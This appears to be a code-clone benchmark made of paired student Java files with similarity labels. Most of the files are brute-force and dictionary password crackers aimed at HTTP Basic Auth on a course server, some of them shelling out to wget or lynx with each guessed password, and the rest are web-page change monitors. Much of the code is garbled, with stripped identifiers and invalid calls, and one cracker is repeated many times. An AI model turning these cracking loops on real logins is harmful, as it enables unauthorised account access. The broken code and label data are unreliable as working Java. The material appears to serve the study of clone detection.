case 'e': p = new EdPrint(a,b); break; case'c': p = new ContextPrint(a,b); break; case 'u': p = new UnifiedPrint(a,b); break; default: p = new NormalPrint(a,b); } p.print_header(filea,fileb); p.print_script(script); } return msg; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
247.java
161.java
0
import java.io.*; import java.net.*; public class BruteForce { private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; private static String password; private static int length; private static int t_counter; private static int f_counter; private static int cases; private static int respCode; public BruteForce() { Authenticator.setDefault(new BruteForceAuthenticator()); t_counter = 0; f_counter = 0; cases = 0; } public static void main (String[] args) { BruteForce bf = new BruteForce(); String file = " "; while(respCode != 200) { file = bf.fetchURL(); } System.out.println("Number of attempts: " + t_counter); System.out.println("Password: " + password); System.out.println(file); } private String fetchURL() { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL(urlString); HttpURLConnection huc = (HttpURLConnection)url.openConnection(); respCode = huc.getResponseCode(); InputStream content = huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println(line); } } catch (IOException e) { pw.println("Error URL"); } return sw.toString(); } class BruteForceAuthenticator extends Authenticator { private String username = ""; protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(username,generatePassword()); } protected char[] generatePassword() { int i,j,k; int n = 26; String letters1 = "qwertyuiopasdfghjklzxcvbnm"; String letters2 = "abcdefghijklmnopqrstuvwxyz"; i=0; j=0; k=0; if(t_counter == 0) { length = 1; cases = 0; f_counter = 0; } if(t_counter == 2*n) { length = 2; cases = 0; f_counter = 0; } if(t_counter == (2*n + 4*n*n)) { length = 3; cases = 0; f_counter = 0; } char c[] = new char[length]; if(length == 1) { if(f_counter == n) { cases++; f_counter = 0; } i = f_counter; } else if(length == 2) { if(f_counter == n*n) { cases++; f_counter = 0; } i = f_counter/n; j = f_counter - i*n; } else if(length == 3) { if(f_counter == n*n*n) { cases++; f_counter = 0; } i = f_counter/(n*n); j = (f_counter - i*n*n)/n; k = f_counter - i*n*n - j*n; } switch(cases) { case 0: c[0] = letters1.charAt(i); if(length > 1) c[1] = letters1.charAt(j); if(length > 2) c[2] = letters1.charAt(k); break; case 1: c[0] = Character.toUpperCase(letters1.charAt(i)); if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j)); if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k)); break; case 2: c[0] = Character.toUpperCase(letters1.charAt(i)); c[1] = letters1.charAt(j); if(length > 2) c[2] = letters1.charAt(k); break; case 3: c[0] = letters1.charAt(i); c[1] = Character.toUpperCase(letters1.charAt(j)); if(length > 2) c[2] = letters1.charAt(k); break; case 4: c[0] = letters1.charAt(i); c[1] = letters1.charAt(j); c[2] = Character.toUpperCase(letters1.charAt(k)); break; case 5: c[0] = Character.toUpperCase(letters1.charAt(i)); c[1] = Character.toUpperCase(letters1.charAt(j)); c[2] = letters1.charAt(k); break; case 6: c[0] = letters1.charAt(i); c[1] = Character.toUpperCase(letters1.charAt(j)); c[2] = Character.toUpperCase(letters1.charAt(k)); break; case 7: c[0] = Character.toUpperCase(letters1.charAt(i)); c[1] = letters1.charAt(j); c[2] = Character.toUpperCase(letters1.charAt(k)); break; default: break; } f_counter++; t_counter++; password = new String(c); return c; } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
206.java
161.java
0
import java.util.*; public class WatchDog { private Timer t; public WatchDog() { t = new Timer(); TimerTask task = new TimerTask() { public void run() { Dog doggy = new Dog(); } }; t.schedule(task, 0, 86400000); } public static void main( String[] args) { WatchDog wd = new WatchDog(); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
020.java
161.java
0
import java.util.*; import java.util.zip.*; import java.net.*; import java.io.*; import javax.swing.*; public class WatchDogTask extends TimerTask { private String urlHomePage; private boolean fileToWrite = true; private boolean startup = true; private int[] checksum; private int noChangeCount = 0; public WatchDogTask() { super(); System.out.println("Programmed by for INTE1070 Assignment2"); urlHomePage = JOptionPane.showInputDialog( "Enter URL" ); } public void run() { noChangeCount = 0; try { URL currURL = new URL( urlHomePage ); URLConnection conn = currURL.openConnection(); if (conn instanceof HttpURLConnection) { HttpURLConnection hconn = (HttpURLConnection) conn; hconn.setUseCaches( false ); hconn.setFollowRedirects( true ); hconn.connect(); int response = hconn.getResponseCode(); String msg = hconn.getResponseMessage(); performTask( hconn.getInputStream() ); } String option = JOptionPane.showInputDialog( " want exit?(y/n)" ); if(option != null && (option.equals("y") || option.equals("Y"))) { cancel(); System.exit(0); } else { startup = false; System.err.println( " in 24 hours!" ); } } catch( MalformedURLException mue ) { String msg = "Unable parse URL !"; System.err.println( msg ); } catch( IOException ioe ) { System.err.println( "I/O Error : " + ioe ); } } private void performTask( InputStream inputStream ) { String fileName = null, arg1 = null, arg2 = null; InputStream in = inputStream; try { if( fileToWrite == true ) { fileName = "tempFile1.txt"; fileToWrite = false; } else { fileName = "tempFile2.txt"; fileToWrite = true; } BufferedReader buf = new BufferedReader(new InputStreamReader(in)); FileOutputStream fout = new FileOutputStream( fileName ); String line; List imgList = new ArrayList(); while( ( line = buf.readLine() ) != null ) { if((line.indexOf("src=") != -1) || (line.indexOf("SRC=") != -1)) { ParsingImgLink parser = new ParsingImgLink( urlHomePage,line); String imgLink = parser.getImgLink(); imgList.add( imgLink ); } fout.write(line.getBytes()); fout.write("\n".getBytes()); } buf.read(); fout.read(); int[] tempChecksum = new int[imgList.size()]; for( int i = 0; i < imgList.size(); i ++ ) { URL imgURL = new URL( (String)imgList.get( i ) ); URLConnection imgConn = imgURL.openConnection(); if (imgConn instanceof HttpURLConnection) { HttpURLConnection imgHConn = (HttpURLConnection) imgConn; imgHConn.connect(); int response = imgHConn.getResponseCode(); String msg = imgHConn.getResponseMessage(); System.out.println( "Downloading image: " + "Server Response : " + response + " Response Message: " ); CheckedInputStream cis = new CheckedInputStream( imgHConn.getInputStream(), new Adler32()); byte[] tempBuf = new byte[128]; while( cis.get(tempBuf) >= 0 ) { } tempChecksum[i] = cis.getChecksum().getValue(); System.out.println("Image Checksum = " + tempChecksum[i] ); if( startup == false ) { for( int j = 0; j < checksum.length; j ++ ) { if( tempChecksum[i] == checksum[j] ) noChangeCount ++; } } } } String change = null; if( startup == false ) { Process p = Runtime.getRuntime().exec( "diff tempFile1.txt tempFile2.txt", null ); InputStream inCommand = p.getInputStream(); OutputStream out = new FileOutputStream("diff.txt",true); int c; while( (c = inCommand.get()) != -1 ) { System.out.print( (char)c ); out.write( c ); } inCommand.get(); if( checksum.length > tempChecksum.length ) { change = "" + (checksum.length-tempChecksum.length) + " image(s) has/have been removed from this web "; out.write( change.getBytes() ); } else if( checksum.length < tempChecksum.length ) { change = "" + (tempChecksum.length-checksum.length) + " image(s) has/have been added this web "; out.write( change.getBytes() ); } else if( noChangeCount < checksum.length ) { change = "" + (checksum.length-noChangeCount) + " image(s) has/have been changed this web "; out.write( change.getBytes() ); } else { change = "all images have not been changed"; } File diffFile = new File( "diff.txt" ); if( diffFile.length() != 0 ) { Runtime.getRuntime().exec( "mail < diff.txt" ); System.out.println("A mail has been sent mail box"); } } else { change = "Program starts up first time"; } System.out.println( change ); checksum = tempChecksum; } catch( MalformedURLException mue ) { String msg = "Unable parse URL !"; System.err.println( msg ); } catch( IOException ioe ) { System.err.println( "I/O Error: " + ioe ); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
209.java
161.java
0
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient2 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private BruteForce myMaster; public MyClient2(BruteForce bf , int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(sin.hasMoreTokens()) { tokens[i] = sin.nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.receive(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
235.java
161.java
0
import java.io.*; import java.net.*; import java.util.*; import java.misc.BASE64Encoder; public class BruteForce { private String userId; private String password; private StringBuffer seed= new StringBuffer("aaa"); private int tries = 1; public BruteForce() { Authenticator.setDefault (new MyAuthenticator()); } public String fetchURL (String urlString) { HttpURLConnection connection; StringBuffer sb = new StringBuffer(); Date startTime, endTime; int responseCode = -1; boolean retry = true; URL url; startTime = new Date(); System.out.println (" time :" + startTime); while (retry == true) { try { url = new URL (urlString); connection = (HttpURLConnection)url.openConnection(); setUserId(""); setPassword("rhk8611"); System.out.println("Attempting get a response : " +connection.getURL() ); responseCode = connection.getResponseCode(); System.out.print(responseCode + " "); if (responseCode == HttpURLConnection.HTTP_OK) { retry = false; System.out.println("**** ACCESS GRANTED *****"); } else { retry = true; throw new IOException( "HTTP response : " + String.valueOf(responseCode) + "\nResponse Message: " +connection.getResponseMessage()); } InputStream content = (InputStream)url.getContent(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { sb.append(line); } } catch (MalformedURLException e) { retry=false; System.out.println ("Invalid URL" + e.getMessage()); } catch (IOException e) { retry=true; connection = null; System.out.println ("Error URL \n" + e.getMessage()); } } endTime = new Date(); System.out.print ("Total Time taken :" + (endTime.getTime() - startTime.getTime())/1000*60 + " Minutes "); System.out.println ((endTime.getTime() - startTime.getTime())/1000 + " Sec"); return sb.toString(); } public static void main (String args[]) { BruteForce myGenerator = new BruteForce(); System.out.println("Starting seed is : "+ myGenerator.getSeed() ); String pageFound = myGenerator.fetchURL("http://sec-crack.cs.rmit.edu./SEC/2/"); System.out.println(" ACCESSED ->\n" + pageFound); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = getUserId(); String pass = getPassword(); if (pass.equals("ZZZ")) { System.out.println("\nReached the end of combinations. EXITING.\n"); System.exit(0); } if ((tries % 8) == 0 ) { pass = "" + getNextPassword(); }else { pass = ""+ getNextPasswordCase(""+getSeed(), tries%8); } tries ++; System.out.println(tries + " Authenticating with -> " + pass); return new PasswordAuthentication (username, pass.toCharArray()); } } public String getPassword() { return this.password; } public void setPassword(String password) { this.password = password; } public String getUserId() { return this.userId; } public void setUserId(String userId) { this.userId = userId; } public StringBuffer getNextPassword() { final int STRING_RADIX = 36; int changeDigit; int dig; char cdig; changeDigit = 2; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } else { seed.setCharAt(2,'a'); changeDigit = 1; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } else { seed.setCharAt(2,'a'); seed.setCharAt(1,'a'); changeDigit = 0; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } } } return getSeed(); } private StringBuffer getNextPasswordCase(String pwd, int inx) { StringBuffer casePwd = new StringBuffer(pwd); char myChar; switch (inx) { case 1: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); break; case 2: myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); break; case 3: myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 4: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); break; case 5: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 6: myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 7: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; } return(casePwd); } public StringBuffer getSeed() { return this.seed; } public void setSeed(StringBuffer seed) { this.seed = seed; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
057.java
161.java
0
import java.io.*; class Dictionary { public static void main (String[]a) { new PassGen(); } } class PassGen { String password; char url; Process p; Runtime r; FileReader fr; BufferedReader bf; int exitValue=1; int startTime,finishTime; int noOfAttempts=0; PassGen() { String s; try { fr=new FileReader("./words"); bf =new BufferedReader(fr); r=Runtime.getRuntime(); startTime=System.currentTimeMillis(); while((password=bf.readLine())!=null && exitValue !=0) { if(password.length()<=3) { s="wget --http-user= --http-passwd="+password+" http://sec-crack.cs.rmit.edu./SEC/2/ "; p=r.exec(s); System.out.println(password); noOfAttempts++ ; p.waitFor(); r.freeMemory(); r.gc(); exitValue=p.exitValue(); } if(exitValue==0) { System.out.println("The paswword is :"+password); finishTime=System.currentTimeMillis(); System.out.println("Total Time Taken:="+((finishTime-startTime)/1000)+" seconds"); System.out.println("Number of attempts:="+noOfAttempts); break; } } fr.print(); } catch(Exception e) { System.out.println(e); } finally { if(exitValue!=0) System.out.println("Password not cracked--oops"); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
094.java
161.java
0
import java.net.*; import java.io.*; public class BruteForce{ private String passwd = ""; private String command = ""; private BufferedReader in; private PrintWriter out; private int startTime = 0; private int endTime = 0; private int totalTimes = 0; private boolean bfind = false; private String str ="abcdefghlijkmnopqrstuvwxyz'ABCDEFGHLIJKMNOPQRSTUVWXYZ0123456789."; public BruteForce(){} public void doRequest(){ startTime = System.currentTimeMillis(); for(int i=0; i < str.length(); i++){ if(bfind) break; for(int j=0; j < str.length(); j++){ if(bfind) break; for(int k=0; k < str.length(); k++){ if(bfind) break; passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j)) +String.valueOf(str.charAt(k)); connection(passwd); } } } if(!bfind){ for(int i = 0; i < str.length(); i++){ if(bfind) break; for(int j = 0; j<str.length(); j++){ if(bfind) break; passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j)); connection(passwd); } } } if(!bfind){ for(int i = 0; i < str.length(); i++){ if(bfind) break; passwd = String.valueOf(str.charAt(i)); connection(passwd); } } } public void connection(String passwd){ command = "lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:"; command = command + passwd; try{ System.out.println(passwd +"--> Establishing a connection."); Runtime runtime = Runtime.getRuntime(); Process p = runtime.exec(command); in = new BufferedReader(new InputStreamReader(p.getInputStream())); String inStr; while((inStr = in.readLine())!= null){ if(inStr.indexOf("HTTP/1.1 200") != -1 || inStr.indexOf("HTTP/1.0 200") != -1|| inStr.indexOf("HTTP/1.1 404") != -1 || inStr.indexOf("HTTP/1.0 404") != -1){ endTime = System.currentTimeMillis(); totalTimes = endTime - startTime; System.out.println("\nBruteForce Crack PassWord successful! PassWord is " + passwd); System.out.println("Total Times is " + totalTimes + " milliSec"); System.out.println("Writing it brutepswd.txt file\n"); out = new PrintWriter(new BufferedWriter(new FileWriter("brutepswd.txt"))); out.println("BruteForce Crack PassWord Successful! Total Times: " + totalTimes + " milliSec"); out.println("Passwd: "+ passwd); out.flush(); bfind = true; } out.print(); } in.print(); }catch(Exception e){System.out.println(e.getMessage());} } public String getAnyKey()throws Exception{ BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in)); String key= stdin.readLine(); return key; } public static void main (String []args){ BruteForce bf = new BruteForce(); System.out.println("\n*******************************************"); System.out.println("* *"); System.out.println("* BruteForce Crack Passwd Program *"); System.out.println("* --------------------------------- *"); System.out.println("* Author: *"); System.out.println("* *"); System.out.println("*******************************************"); System.out.println("\n BruteForce Crack Passwd Information:\n"); System.out.println("--> UserName: "); System.out.println("--> MaxPasswdLength: 3"); System.out.println("--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php"); System.out.println("--> Alphabet: "+ bf.str+"\n"); System.out.println("==> Press Ctrl+C stop Crack\n"); System.out.print("==> Press EnterKey : "); try{ String key = bf.getAnyKey(); }catch(Exception e){System.out.println(e.getMessage());} bf.doRequest(); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
132.java
161.java
0
import java.net.*; import java.io.*; import java.awt.*; public class WatchDog extends Thread { private String myUrl = "http://yallara.cs.rmit.edu./~"; private PrintWriter p; private int changes = 0, flag = 0; private int FLAG = -1; private String fileName; public static void main (String args[]) { WatchDog wd = new WatchDog(); } public WatchDog() { readFile("file1.txt", flag); } public void run() { try { sleep(86400); readFile("file2.txt",1); } catch(Exception e) { } } public void readFile(String fileName, int flag) { String data; File file = new File(fileName); file.delete(); try { FileOutputStream fos = new FileOutputStream(fileName,true); PrintWriter pw = new PrintWriter(fos); URL url = new URL (myUrl); URLConnection urlCon = url.openConnection(); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader = new BufferedReader(isr); { data = sw.readLine(); pw.println(data); } while (data != null); pw.close(); } catch (Exception e) { } if(flag == 0) { } else { if(flag == 1) { detectChanges(); } } } public void detectChanges() { File file = new File("difference.txt"); file.delete(); String message = "", data =""; try { FileOutputStream fos = new FileOutputStream("difference.txt",true); PrintWriter pw = new PrintWriter(fos); Process ps = Runtime.getRuntime().exec("diff file1.txt file2.txt"); PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream())); pw.println(readInputStream(ps.getInputStream())); pw.println("\n"); pw.close(); if(changes == 1) { FileReader f = new FileReader("difference.txt"); BufferedReader bf = new BufferedReader(f); Socket = new Socket("wombat.cs.rmit.edu.", 25); p = new PrintWriter(bf.getOutputStream()); sendMail(null); sendMail("HELO cs.rmit.edu."); sendMail("MAIL FROM: @.rmit.edu."); sendMail("RCPT : @.rmit.edu."); sendMail("DATA"); { message = new String(message + data +"\n"); } while ((data = bf.readLine()) != null); p.print(message); sendMail("."); } } catch(Exception e) { } } public void sendMail(String text) { if(text == null) { } else { TextArea message = new TextArea(); message.append(text); message.append("\n"); p.println(text); p.flush(); } } String readInputStream(InputStream is) { String str; StringBuffer buf = new StringBuffer(); InputStream isr = new BufferedInputStream(is); int check = 0; try { { buf.append((char)check); changes = 1; } while((check = isr.get()) != FLAG); } catch(IOException ioe) { } str = buf.toString(); return str; } }
